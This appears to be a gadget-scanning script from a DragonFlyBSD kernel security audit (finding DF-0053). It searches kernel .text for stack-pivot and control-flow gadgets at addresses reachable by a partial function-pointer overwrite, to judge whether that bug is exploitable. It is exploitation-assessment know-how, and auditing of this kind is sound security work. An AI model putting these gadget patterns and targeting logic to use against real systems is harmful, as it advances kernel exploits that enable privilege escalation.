โฌข DragonFlyBSD Kernel Audit
DF-0053 / gadget_scan2.py
โ† back to finding โ†“ download raw
#!/usr/bin/env python3
"""
DF-0053: Definitive gadget scan.
Search ALL byte offsets in kernel .text for stack-pivot / control-flow gadgets,
then check if ANY are at addresses reachable by the DF-0053 partial overwrite.

Reachable address constraints:
- k=0: byte 0 = 0x00, bytes 1-7 = original funcptr bytes (7 fixed addresses)
- k=1: byte 0 = formable (0x20-0x7e for printable ASCII), byte 1 = 0x00, 
        bytes 2-7 = original funcptr bytes โ†’ 0xffffffff80bc00XX
- k=2: bytes 0-1 formable, byte 2 = 0x00, bytes 3-7 intact โ†’ 0xffffffff8000XXYY (UNMAPPED)
- Full overwrite: all bytes formable โ†’ non-canonical
"""
import struct

KERNEL = "/tmp/opencode/df0053/kernel.debug"

def parse_elf_text(path):
    with open(path, 'rb') as f:
        data = f.read()
    e_shoff = struct.unpack_from('<Q', data, 0x28)[0]
    e_shentsize = struct.unpack_from('<H', data, 0x3a)[0]
    e_shnum = struct.unpack_from('<H', data, 0x3c)[0]
    e_shstrndx = struct.unpack_from('<H', data, 0x3e)[0]
    sections = []
    for i in range(e_shnum):
        off = e_shoff + i * e_shentsize
        sh = struct.unpack_from('<IIQQQQ', data, off)
        sections.append(sh)
    shstr_off = sections[e_shstrndx][4]
    def getname(idx):
        end = data.index(b'\x00', shstr_off + idx)
        return data[shstr_off + idx:end].decode()
    result = {}
    for s in sections:
        name = getname(s[0])
        if name in ('.text', '.rodata', '.data'):
            result[name] = (s[3], s[4], s[5], data[s[4]:s[4]+s[5]])
    return result

secs = parse_elf_text(KERNEL)
text_va, text_foff, text_size, text_bytes = secs['.text']

# Funcptr originals
funcptrs = {
    'copyinstr':  0xffffffff80bcb5c0,
    'copyin':     0xffffffff80bcaf50,
    'copyout':    0xffffffff80bcad50,
    'fubyte':     0xffffffff80bcb430,
    'subyte':     0xffffffff80bcb560,
    'fuword32':   0xffffffff80bcb3e0,
    'fuword64':   0xffffffff80bcb390,
    'suword64':   0xffffffff80bcb4a0,
    'suword32':   0xffffffff80bcb500,
    'swapu32':    0xffffffff80bcb1b0,
    'swapu64':    0xffffffff80bcb2d0,
    'fuwordadd32':0xffffffff80bcb210,
    'fuwordadd64':0xffffffff80bcb330,
}

# Compute ALL reachable addresses
reachable = set()
# k=0: zero byte 0
for name, orig in funcptrs.items():
    addr = (orig & ~0xff) | 0x00
    reachable.add(addr)
    
# k=1: byte 0 = printable, byte 1 = 0x00
for b in range(0x20, 0x7f):
    reachable.add(0xffffffff80bc0000 | b)

print(f"Total reachable addresses: {len(reachable)}")
print(f"  k=0: {len(set((orig & ~0xff) for orig in funcptrs.values()))} unique")
print(f"  k=1: {0x7f - 0x20} addresses (0x20-0x7e)")

# --- Search for gadget patterns in entire .text ---
# Patterns that would give us stack pivot or control flow redirect
gadget_patterns = {
    # Stack pivots via rdi (we control rdi in copyin/fuword/swap calling conventions)
    'xchg_rsp_rdi_A': bytes([0x48, 0x87, 0xe7]),  # xchg rsp, rdi (modrm e7)
    'xchg_rsp_rdi_B': bytes([0x48, 0x87, 0xfc]),  # xchg rdi, rsp (modrm fc)
    'mov_rsp_rdi': bytes([0x48, 0x89, 0xfc]),      # mov rsp, rdi  (wait, this is mov r/m,r โ†’ dst=rm=rsp, src=reg=rdi? No.)
    # Actually: 89 /r = mov r/m64, r64. ModRM fc = mod:11, reg:111(rdi), rm:100(rsp) โ†’ mov rsp, rdi
    'mov_rsp_rdi_v2': bytes([0x48, 0x8b, 0xe7]),   # mov rsp, rdi (8b = mov r64, r/m64 โ†’ reg=rsp, rm=rdi)
    # Actually: 8b /r = mov r64, r/m64. ModRM e7 = mod:11, reg:100(rsp), rm:111(rdi) โ†’ mov rsp, rdi โœ“
    'push_rdi_pop_rsp': bytes([0x57, 0x5c]),         # push rdi; pop rsp
    
    # xchg eax, esp (pivots to low 32 bits of eax)
    'xchg_eax_esp': bytes([0x94]),
    
    # leave; ret (if we can shape rbp)
    'leave_ret': bytes([0xc9, 0xc3]),
    
    # pop rsp; ret
    'pop_rsp_ret': bytes([0x5c, 0xc3]),
    
    # jmp rdi / call rdi (redirect to user address)
    'jmp_rdi': bytes([0xff, 0xe7]),          # jmp rdi
    'call_rdi': bytes([0xff, 0xd7]),         # call rdi
    'jmp_rax': bytes([0xff, 0xe0]),          # jmp rax (rax=funcptr, kernel addr)
    'jmp_rsi': bytes([0xff, 0xe6]),          # jmp rsi (kernel addr)
    
    # mov [rdi], rsi followed by ret (write to user addr, not useful)
    'mov_rdi_rsi': bytes([0x48, 0x89, 0x37]),  # mov [rdi], rsi
    
    # xchg rax, [rdi] (swap, already found at bcb300)
    'xchg_rax_rdi': bytes([0x48, 0x87, 0x07]),  # xchg rax, [rdi]
    
    # ret (bare ret = copyin returns whatever rax is)
    'bare_ret': bytes([0xc3]),
}

print(f"\n=== SCANNING ENTIRE .text ({text_size} bytes) FOR GADGETS ===")
all_gadgets = {}
for gname, pattern in gadget_patterns.items():
    if gname == 'bare_ret':
        continue  # too many, skip
    positions = []
    pos = 0
    while True:
        pos = text_bytes.find(pattern, pos)
        if pos == -1:
            break
        addr = text_va + pos
        positions.append(addr)
        pos += 1
    all_gadgets[gname] = positions
    print(f"  {gname}: {len(positions)} occurrences in .text")

# Check which gadgets are at REACHABLE addresses
print(f"\n=== GADGETS AT REACHABLE ADDRESSES ===")
found_any = False
for gname, positions in all_gadgets.items():
    for addr in positions:
        if addr in reachable:
            # Check what follows (for ret)
            off = addr - text_va
            following = text_bytes[off:off+12].hex(' ')
            # Find the funcptr this corresponds to
            label = ""
            for name, orig in funcptrs.items():
                if (orig & ~0xff) == (addr & ~0xff) and (addr & 0xff) == 0:
                    label = f"k=0_{name}"
                    break
            if 0xffffffff80bc0000 <= addr <= 0xffffffff80bc007e:
                label = f"k=1_{addr & 0xff:02x}"
            print(f"  *** FOUND: {gname} at 0x{addr:016x} [{label}] bytes: {following}")
            found_any = True

if not found_any:
    print("  NONE โ€” no gadget pattern found at any reachable address")

# Also check: is there a bare ret at any reachable address?
print(f"\n=== BARE RET (0xc3) AT REACHABLE ADDRESSES ===")
for addr in sorted(reachable):
    off = addr - text_va
    if 0 <= off < text_size:
        b = text_bytes[off]
        if b == 0xc3:
            print(f"  ret at 0x{addr:016x}")
            found_any = True

# What about 0xc3 within the first 4 bytes of each reachable address?
print(f"\n=== RET (0xc3) WITHIN FIRST 4 BYTES OF REACHABLE ADDRESSES ===")
for addr in sorted(reachable):
    off = addr - text_va
    if 0 <= off < text_size - 4:
        bts = text_bytes[off:off+4]
        for i, b in enumerate(bts):
            if b == 0xc3:
                label = ""
                for name, orig in funcptrs.items():
                    if (orig & ~0xff) == (addr & ~0xff) and (addr & 0xff) == 0:
                        label = f"k=0_{name}"
                        break
                if 0xffffffff80bc0000 <= addr <= 0xffffffff80bc007e:
                    label = f"k=1_{addr & 0xff:02x}"
                print(f"  ret at offset +{i} from 0x{addr:016x} [{label}]: {bts.hex(' ')}")

# Print the reachable addresses with their first 8 instruction bytes for manual review
print(f"\n=== ALL k=0 TARGETS (instruction bytes) ===")
for name, orig in sorted(funcptrs.items(), key=lambda x: x[1]):
    addr = (orig & ~0xff) | 0x00
    off = addr - text_va
    if 0 <= off < text_size - 8:
        bts = text_bytes[off:off+8]
        print(f"  {name:14s} 0x{addr:016x}: {bts.hex(' ')}")

print(f"\n=== k=1 RANGE: 0xffffffff80bc0020..007e ===")
for b in range(0x20, 0x7f):
    addr = 0xffffffff80bc0000 | b
    off = addr - text_va
    if 0 <= off < text_size - 8:
        bts = text_bytes[off:off+8]
        print(f"  0x{addr:016x} (0x{b:02x}): {bts.hex(' ')}")